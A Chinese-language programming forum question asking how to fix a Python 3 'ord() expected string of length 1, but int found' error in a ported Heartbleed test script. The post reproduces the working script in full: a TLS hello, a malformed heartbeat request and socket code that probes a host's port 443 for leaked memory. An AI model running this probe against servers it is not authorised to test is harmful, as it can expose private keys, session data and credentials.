Python3 理解脚本中的 ord() ... “TypeError: ord() 期望长度为1的字符串，但找到 int”

Question

我有一个脚本，来自一个基于 Python 2.x 的开源项目：

# Heavily based on the work of Jared Stafford 

import sys
import struct
import socket
import time
import select
import codecs

decode_hex = codecs.getdecoder('hex_codec')


def h2bin(x):
    return decode_hex(x.replace(' ', '').replace('\n', ''))[0]

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 00 01
aa aa aa aa aa aa aa aa  aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa  aa aa aa aa aa aa aa aa
''')


def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = b''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                                return None
            rdata += data
            remain -= len(data)
    return rdata


def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 1)
    if pay is None:
        return None, None, None
    return typ, ver, pay


def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            return False

        if typ == 24:
            if len(pay) > 3:
                return True
            else:
                return False

        if typ == 21:
            return False


def test_heartbleed(url):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sys.stdout.flush()
    s.connect((url, 443))
    sys.stdout.flush()
    s.send(hello)
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            return
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    s.send(hb)
    return hit_hb(s)

为了让这个脚本能在 Python 3 中运行，我做了以下修改：

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = b''

这里的 rdata = b''

但是当我用一个网址来调用这个脚本时，我遇到了以下错误：

ord() 期望的是长度为 1 的字符串，但找到了一个整数具体部分：

if typ == 22 and ord(pay[0]) == 0x0E:

我该怎么处理这个问题呢？

感谢大家的帮助！

编程语言字符串处理类型错误开源项目数据类型版本兼容性错误调试脚本修改

Python3 理解脚本中的 ord() ... “TypeError: ord() 期望长度为1的字符串，但找到 int”

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